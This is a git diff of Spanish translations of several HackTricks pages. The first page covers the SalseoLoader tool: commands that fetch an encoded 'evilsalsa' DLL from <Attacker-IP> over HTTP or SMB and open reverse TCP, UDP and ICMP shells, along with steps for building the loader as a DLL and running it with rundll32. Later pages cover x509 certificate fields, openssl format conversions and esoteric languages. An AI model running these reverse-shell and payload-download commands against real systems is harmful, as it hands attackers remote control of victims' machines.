Recuerda iniciar un nc como oyente de shell inverso y un servidor HTTP para servir el EvilDalsa codificado. Recuerda iniciar un nc como el listener del shell reverso y un servidor HTTP para servir el evilsalsa codificado.
``` ```
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port> SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
``` ```
### **Obteniendo un shell inverso UDP (descargando un dll codificado a través de SMB)** ### **Obteniendo un shell reverso UDP (descargando dll codificada a través de SMB)**
Recuerda iniciar un nc como oyente del shell inverso, y un servidor SMB para servir al evilsalsa codificado (impacket-smbserver). Recuerda iniciar un nc como el oyente del shell reverso y un servidor SMB para servir el evilsalsa codificado (impacket-smbserver).
``` ```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port> SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
``` ```
### **Obteniendo una shell inversa ICMP (dll codificada ya dentro de la víctima)** ### **Obteniendo un shell reverso ICMP (dll codificada ya dentro de la víctima)**
**Esta vez necesitas una herramienta especial en el cliente para recibir la shell inversa. Descarga:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) **Esta vez necesitas una herramienta especial en el cliente para recibir el shell reverso. Descarga:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **Desactivar Respuestas ICMP:** #### **Desactivar las respuestas ICMP:**
``` ```
sysctl -w net.ipv4.icmp_echo_ignore_all=1 sysctl -w net.ipv4.icmp_echo_ignore_all=1
@ -77,11 +78,11 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
``` ```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>" python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
``` ```
#### Dentro de la víctima, vamos a ejecutar la cosa de salseo: #### Dentro de la víctima, ejecutemos la cosa de salseo:
``` ```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP> SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
``` ```
## Compilando SalseoLoader como DLL exportando función principal ## Compilando SalseoLoader como DLL exportando la función principal
Abre el proyecto SalseoLoader usando Visual Studio. Abre el proyecto SalseoLoader usando Visual Studio.
@ -89,65 +90,65 @@ Abre el proyecto SalseoLoader usando Visual Studio.
![](<../.gitbook/assets/image (409).png>) ![](<../.gitbook/assets/image (409).png>)
### Instala DllExport para este proyecto ### Instalar DllExport para este proyecto
#### **Herramientas** --> **Gestor de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...** #### **Herramientas** --> **Administrador de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
![](<../.gitbook/assets/image (881).png>) ![](<../.gitbook/assets/image (881).png>)
#### **Busca el paquete DllExport (usando la pestaña Examinar) y presiona Instalar (y acepta el aviso emergente)** #### **Buscar el paquete DllExport (usando la pestaña Buscar) y presionar Instalar (y aceptar el popup)**
![](<../.gitbook/assets/image (100).png>) ![](<../.gitbook/assets/image (100).png>)
En la carpeta de tu proyecto han aparecido los archivos: **DllExport.bat** y **DllExport\_Configure.bat** En tu carpeta de proyecto han aparecido los archivos: **DllExport.bat** y **DllExport\_Configure.bat**
### **Desinstala DllExport** ### **Des**instalar DllExport
Presiona **Desinstalar** (sí, es extraño pero confía en mí, es necesario) Presiona **Desinstalar** (sí, es raro pero confía en mí, es necesario)
![](<../.gitbook/assets/image (97).png>) ![](<../.gitbook/assets/image (97).png>)
### **Cierra Visual Studio y ejecuta DllExport\_configure** ### **Salir de Visual Studio y ejecutar DllExport\_configure**
Simplemente **cierra** Visual Studio Simplemente **sal** de Visual Studio
Luego, ve a tu **carpeta de SalseoLoader** y **ejecuta DllExport\_Configure.bat** Luego, ve a tu **carpeta SalseoLoader** y **ejecuta DllExport\_Configure.bat**
Selecciona **x64** (si lo vas a usar dentro de una caja x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Namespace para DllExport**) y presiona **Aplicar** Selecciona **x64** (si vas a usarlo dentro de una caja x64, ese fue mi caso), selecciona **System.Runtime.InteropServices** (dentro de **Namespace for DllExport**) y presiona **Aplicar**
![](<../.gitbook/assets/image (882).png>) ![](<../.gitbook/assets/image (882).png>)
### **Abre el proyecto nuevamente con Visual Studio** ### **Abre el proyecto nuevamente con Visual Studio**
**\[DllExport]** ya no debería estar marcado como error **\[DllExport]** no debería estar marcado como error
![](<../.gitbook/assets/image (670).png>) ![](<../.gitbook/assets/image (670).png>)
### Compila la solución ### Compilar la solución
Selecciona **Tipo de salida = Biblioteca de clases** (Proyecto --> Propiedades de SalseoLoader --> Aplicación --> Tipo de salida = Biblioteca de clases) Selecciona **Tipo de salida = Biblioteca de clases** (Proyecto --> Propiedades de SalseoLoader --> Aplicación --> Tipo de salida = Biblioteca de clases)
![](<../.gitbook/assets/image (847).png>) ![](<../.gitbook/assets/image (847).png>)
Selecciona **plataforma x64** (Proyecto --> Propiedades de SalseoLoader --> Compilar --> Destino de la plataforma = x64) Selecciona **plataforma x64** (Proyecto --> Propiedades de SalseoLoader --> Compilación --> Objetivo de plataforma = x64)
![](<../.gitbook/assets/image (285).png>) ![](<../.gitbook/assets/image (285).png>)
Para **compilar** la solución: Compilar --> Compilar solución (Dentro de la consola de salida aparecerá la ruta de la nueva DLL) Para **compilar** la solución: Compilar --> Compilar solución (Dentro de la consola de salida aparecerá la ruta de la nueva DLL)
### Prueba la DLL generada ### Probar la Dll generada
Copia y pega la DLL donde quieras probarla. Copia y pega la Dll donde quieras probarla.
Ejecuta: Ejecuta:
``` ```
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
Si no aparece ningún error, ¡probablemente tienes un DLL funcional! Si no aparece ningún error, ¡probablemente tengas un DLL funcional!
## Obtener un shell usando el DLL ## Obtén un shell usando el DLL
No olvides usar un **servidor HTTP** y configurar un **escucha nc** No olvides usar un **servidor** **HTTP** y configurar un **listener** **nc**
### Powershell ### Powershell
``` ```
@ -158,8 +159,6 @@ $env:lport="1337"
$env:shell="reversetcp" $env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
### CMD
### CMD ### CMD
``` ```
set pass=password set pass=password
@ -169,16 +168,17 @@ set lport=1337
set shell=reversetcp set shell=reversetcp
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,58 +1,59 @@
# Certificados # Certificados
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
¡Accede hoy mismo: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
## ¿Qué es un Certificado ## ¿Qué es un Certificado?
Un **certificado de clave pública** es una identificación digital utilizada en criptografía para demostrar que alguien es dueño de una clave pública. Incluye los detalles de la clave, la identidad del propietario (el sujeto) y una firma digital de una autoridad de confianza (el emisor). Si el software confía en el emisor y la firma es válida, es posible una comunicación segura con el propietario de la clave. Un **certificado de clave pública** es una identificación digital utilizada en criptografía para probar que alguien posee una clave pública. Incluye los detalles de la clave, la identidad del propietario (el sujeto) y una firma digital de una autoridad de confianza (el emisor). Si el software confía en el emisor y la firma es válida, es posible la comunicación segura con el propietario de la clave.
Los certificados son emitidos principalmente por [autoridades de certificación](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) en una configuración de [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Otro método es la [red de confianza](https://en.wikipedia.org/wiki/Web\_of\_trust), donde los usuarios verifican directamente las claves de los demás. El formato común para los certificados es [X.509](https://en.wikipedia.org/wiki/X.509), que puede adaptarse a necesidades específicas según lo descrito en el RFC 5280. Los certificados son emitidos principalmente por [autoridades de certificación](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) en una configuración de [infraestructura de clave pública](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Otro método es la [web de confianza](https://en.wikipedia.org/wiki/Web\_of\_trust), donde los usuarios verifican directamente las claves de los demás. El formato común para los certificados es [X.509](https://en.wikipedia.org/wiki/X.509), que puede adaptarse a necesidades específicas como se detalla en el RFC 5280.
## Campos Comunes de x509 ## Campos Comunes de x509
### **Campos Comunes en Certificados x509** ### **Campos Comunes en Certificados x509**
En los certificados x509, varios **campos** desempeñan roles críticos para garantizar la validez y seguridad del certificado. Aquí tienes un desglose de estos campos: En los certificados x509, varios **campos** juegan roles críticos en asegurar la validez y seguridad del certificado. Aquí hay un desglose de estos campos:
* El **Número de Versión** indica la versión del formato x509. * **Número de Versión** significa la versión del formato x509.
* El **Número de Serie** identifica de forma única el certificado dentro del sistema de una Autoridad de Certificación (CA), principalmente para el seguimiento de revocaciones. * **Número de Serie** identifica de manera única el certificado dentro del sistema de una Autoridad de Certificación (CA), principalmente para el seguimiento de revocaciones.
* El campo **Sujeto** representa al propietario del certificado, que puede ser una máquina, un individuo o una organización. Incluye una identificación detallada como: * El campo **Sujeto** representa al propietario del certificado, que podría ser una máquina, un individuo o una organización. Incluye identificación detallada como:
* **Nombre Común (CN)**: Dominios cubiertos por el certificado. * **Nombre Común (CN)**: Dominios cubiertos por el certificado.
* **País (C)**, **Localidad (L)**, **Estado o Provincia (ST, S o P)**, **Organización (O)** y **Unidad Organizativa (OU)** proporcionan detalles geográficos y organizativos. * **País (C)**, **Localidad (L)**, **Estado o Provincia (ST, S, o P)**, **Organización (O)** y **Unidad Organizativa (OU)** proporcionan detalles geográficos y organizativos.
* El **Nombre Distinguido (DN)** encapsula la identificación completa del sujeto. * **Nombre Distinguido (DN)** encapsula la identificación completa del sujeto.
* El **Emisor** detalla quién verificó y firmó el certificado, incluyendo subcampos similares al Sujeto para la CA. * **Emisor** detalla quién verificó y firmó el certificado, incluyendo subcampos similares al Sujeto para la CA.
* El **Período de Validez** está marcado por marcas de tiempo de **No Antes** y **No Después**, asegurando que el certificado no se use antes o después de una fecha determinada. * El **Período de Validez** está marcado por las marcas de tiempo **No Antes** y **No Después**, asegurando que el certificado no se use antes o después de una cierta fecha.
* La sección de **Clave Pública**, crucial para la seguridad del certificado, especifica el algoritmo, tamaño y otros detalles técnicos de la clave pública. * La sección de **Clave Pública**, crucial para la seguridad del certificado, especifica el algoritmo, tamaño y otros detalles técnicos de la clave pública.
* Las **extensiones x509v3** mejoran la funcionalidad del certificado, especificando **Uso de Clave**, **Uso Extendido de Clave**, **Nombre Alternativo del Sujeto** y otras propiedades para ajustar la aplicación del certificado. * Las **extensiones x509v3** mejoran la funcionalidad del certificado, especificando **Uso de Clave**, **Uso de Clave Extendida**, **Nombre Alternativo del Sujeto** y otras propiedades para afinar la aplicación del certificado.
#### **Uso de Clave y Extensiones** #### **Uso de Clave y Extensiones**
* **Uso de Clave** identifica las aplicaciones criptográficas de la clave pública, como firma digital o cifrado de clave. * **Uso de Clave** identifica las aplicaciones criptográficas de la clave pública, como firma digital o cifrado de clave.
* **Uso Extendido de Clave** reduce aún más los casos de uso del certificado, por ejemplo, para autenticación de servidor TLS. * **Uso de Clave Extendida** delimita aún más los casos de uso del certificado, por ejemplo, para autenticación de servidor TLS.
* **Nombre Alternativo del Sujeto** y **Restricción Básica** definen nombres de host adicionales cubiertos por el certificado y si es un certificado de CA o de entidad final, respectivamente. * **Nombre Alternativo del Sujeto** y **Restricción Básica** definen nombres de host adicionales cubiertos por el certificado y si es un certificado de CA o de entidad final, respectivamente.
* Identificadores como **Identificador de Clave del Sujeto** e **Identificador de Clave de Autoridad** garantizan la singularidad y trazabilidad de las claves. * Identificadores como **Identificador de Clave del Sujeto** y **Identificador de Clave de la Autoridad** aseguran la unicidad y trazabilidad de las claves.
* **Acceso a la Información de la Autoridad** y **Puntos de Distribución de la Lista de Revocación (CRL)** proporcionan rutas para verificar la CA emisora y verificar el estado de revocación del certificado. * **Acceso a Información de la Autoridad** y **Puntos de Distribución de CRL** proporcionan rutas para verificar la CA emisora y comprobar el estado de revocación del certificado.
* **CT Precertificate SCTs** ofrecen registros de transparencia, cruciales para la confianza pública en el certificado. * **SCTs de Precertificado CT** ofrecen registros de transparencia, cruciales para la confianza pública en el certificado.
```python ```python
# Example of accessing and using x509 certificate fields programmatically: # Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509 from cryptography import x509
@ -74,41 +75,41 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}") print(f"Subject: {subject}")
print(f"Public Key: {public_key}") print(f"Public Key: {public_key}")
``` ```
### **Diferencia entre Puntos de Distribución OCSP y CRL** ### **Diferencia entre OCSP y Puntos de Distribución CRL**
**OCSP** (**RFC 2560**) implica que un cliente y un respondedor trabajen juntos para verificar si un certificado de clave pública digital ha sido revocado, sin necesidad de descargar la **CRL** completa. Este método es más eficiente que la tradicional **CRL**, que proporciona una lista de números de serie de certificados revocados pero requiere la descarga de un archivo potencialmente grande. Las CRL pueden incluir hasta 512 entradas. Más detalles están disponibles [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm). **OCSP** (**RFC 2560**) implica que un cliente y un respondedor trabajen juntos para verificar si un certificado digital de clave pública ha sido revocado, sin necesidad de descargar el **CRL** completo. Este método es más eficiente que el **CRL** tradicional, que proporciona una lista de números de serie de certificados revocados pero requiere descargar un archivo potencialmente grande. Los CRL pueden incluir hasta 512 entradas. Más detalles están disponibles [aquí](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
### **¿Qué es la Transparencia de Certificados?** ### **Qué es la Transparencia de Certificados**
La Transparencia de Certificados ayuda a combatir las amenazas relacionadas con certificados al garantizar que la emisión y existencia de certificados SSL sean visibles para los propietarios de dominios, las Autoridades de Certificación y los usuarios. Sus objetivos son: La Transparencia de Certificados ayuda a combatir amenazas relacionadas con certificados al garantizar que la emisión y existencia de certificados SSL sean visibles para los propietarios de dominios, CAs y usuarios. Sus objetivos son:
* Evitar que las Autoridades de Certificación emitan certificados SSL para un dominio sin el conocimiento del propietario del dominio. * Prevenir que las CAs emitan certificados SSL para un dominio sin el conocimiento del propietario del dominio.
* Establecer un sistema de auditoría abierto para rastrear certificados emitidos por error o de manera maliciosa. * Establecer un sistema de auditoría abierto para rastrear certificados emitidos por error o de manera maliciosa.
* Proteger a los usuarios contra certificados fraudulentos. * Proteger a los usuarios contra certificados fraudulentos.
#### **Registros de Certificados** #### **Registros de Certificados**
Los registros de certificados son registros públicamente auditables y de solo adición de certificados, mantenidos por servicios de red. Estos registros proporcionan pruebas criptográficas con fines de auditoría. Tanto las autoridades de emisión como el público pueden enviar certificados a estos registros o consultarlos para su verificación. Aunque el número exacto de servidores de registro no está fijo, se espera que sea inferior a mil a nivel mundial. Estos servidores pueden ser gestionados de forma independiente por Autoridades de Certificación, proveedores de servicios de Internet o cualquier entidad interesada. Los registros de certificados son registros auditables públicamente, de solo adición, de certificados, mantenidos por servicios de red. Estos registros proporcionan pruebas criptográficas para fines de auditoría. Tanto las autoridades de emisión como el público pueden enviar certificados a estos registros o consultarlos para verificación. Aunque el número exacto de servidores de registro no es fijo, se espera que sea menos de mil a nivel mundial. Estos servidores pueden ser gestionados de manera independiente por CAs, ISPs o cualquier entidad interesada.
#### **Consulta** #### **Consulta**
Para explorar los registros de Transparencia de Certificados de cualquier dominio, visita [https://crt.sh/](https://crt.sh). Para explorar los registros de Transparencia de Certificados para cualquier dominio, visita [https://crt.sh/](https://crt.sh).
Diferentes formatos existen para almacenar certificados, cada uno con sus propios casos de uso y compatibilidad. Este resumen cubre los principales formatos y proporciona orientación sobre cómo convertir entre ellos. Existen diferentes formatos para almacenar certificados, cada uno con sus propios casos de uso y compatibilidad. Este resumen cubre los formatos principales y proporciona orientación sobre la conversión entre ellos.
## **Formatos** ## **Formatos**
### **Formato PEM** ### **Formato PEM**
* Formato más ampliamente utilizado para certificados. * Formato más utilizado para certificados.
* Requiere archivos separados para certificados y claves privadas, codificados en Base64 ASCII. * Requiere archivos separados para certificados y claves privadas, codificados en Base64 ASCII.
* Extensiones comunes: .cer, .crt, .pem, .key. * Extensiones comunes: .cer, .crt, .pem, .key.
* Principalmente utilizado por servidores Apache y similares. * Utilizado principalmente por Apache y servidores similares.
### **Formato DER** ### **Formato DER**
* Un formato binario de certificados. * Un formato binario de certificados.
* Carece de las declaraciones "BEGIN/END CERTIFICATE" que se encuentran en archivos PEM. * Carece de las declaraciones "BEGIN/END CERTIFICATE" que se encuentran en los archivos PEM.
* Extensiones comunes: .cer, .der. * Extensiones comunes: .cer, .der.
* A menudo utilizado con plataformas Java. * A menudo utilizado con plataformas Java.
@ -116,7 +117,7 @@ Diferentes formatos existen para almacenar certificados, cada uno con sus propio
* Almacenado en Base64 ASCII, con extensiones .p7b o .p7c. * Almacenado en Base64 ASCII, con extensiones .p7b o .p7c.
* Contiene solo certificados y certificados de cadena, excluyendo la clave privada. * Contiene solo certificados y certificados de cadena, excluyendo la clave privada.
* Compatible con Microsoft Windows y Java Tomcat. * Soportado por Microsoft Windows y Java Tomcat.
### **Formato PFX/P12/PKCS#12** ### **Formato PFX/P12/PKCS#12**
@ -126,7 +127,7 @@ Diferentes formatos existen para almacenar certificados, cada uno con sus propio
### **Conversión de Formatos** ### **Conversión de Formatos**
Las **conversiones PEM** son esenciales para la compatibilidad: **Las conversiones PEM** son esenciales para la compatibilidad:
* **x509 a PEM** * **x509 a PEM**
```bash ```bash
@ -148,7 +149,7 @@ openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
``` ```
**Conversiones PFX** son cruciales para gestionar certificados en Windows: **Las conversiones PFX** son cruciales para gestionar certificados en Windows:
* **PFX a PEM** * **PFX a PEM**
```bash ```bash
@ -168,7 +169,7 @@ openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
2. Convertir CER y Clave Privada a PFX 2. Convertir CER y clave privada a PFX
```bash ```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
``` ```
@ -177,21 +178,22 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilice [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias **más avanzadas** del mundo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
Obtenga acceso hoy: Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprenda hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Obtenga el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síganos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparta sus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Lenguajes esotéricos # Lenguajes esotéricos
{% hint style="success" %}
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## [Wiki de Esolangs](https://esolangs.org/wiki/Main\_Page) ## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
Consulta esa wiki para buscar más lenguajes esotéricos Consulta esa wiki para buscar más lenguajes esotéricos
@ -61,8 +64,6 @@ Whisper my world
{% embed url="https://codewithrockstar.com/" %} {% embed url="https://codewithrockstar.com/" %}
## PETOOH ## PETOOH
PETOOH es un lenguaje de programación esotérico inspirado en el idioma ruso. Utiliza solo cinco palabras clave basadas en sonidos de animales para escribir programas.
``` ```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah KoKoKoKoKoKoKoKoKoKo Kud-Kudah
